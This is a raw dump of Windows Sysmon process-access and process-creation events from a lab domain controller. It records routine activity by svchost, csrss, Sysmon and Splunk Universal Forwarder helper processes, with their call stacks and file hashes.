2\ntdll.dll+6e871 10341000x80000000000000005845Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:56.044{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005844Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:56.044{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-29D4-5F80-4C01-000000007F01}4616C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005843Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:56.044{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-29D4-5F80-4C01-000000007F01}4616C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005842Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:56.045{A5F018FF-29D4-5F80-4C01-000000007F01}4616C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005868Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:57.325{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-29D5-5F80-4D01-000000007F01}2416C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005867Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:57.325{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005866Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:57.325{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005865Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:57.325{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005864Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:57.325{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005863Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:57.325{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005862Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:57.325{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005861Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:57.325{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005860Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:57.325{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005859Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:57.325{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005858Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:57.325{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-29D5-5F80-4D01-000000007F01}2416C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005857Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:57.325{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-29D5-5F80-4D01-000000007F01}2416C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005856Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:57.326{A5F018FF-29D5-5F80-4D01-000000007F01}2416C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005894Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:20.293{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1000-000000007F01}1136C:\Windows\System32\svchost.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\lsm.dll+b4ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x80000000000000005893Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:20.293{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005892Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:20.293{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005891Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:20.293{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005890Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:20.293{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005889Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:20.293{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005888Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:20.293{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005887Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:20.261{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005886Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 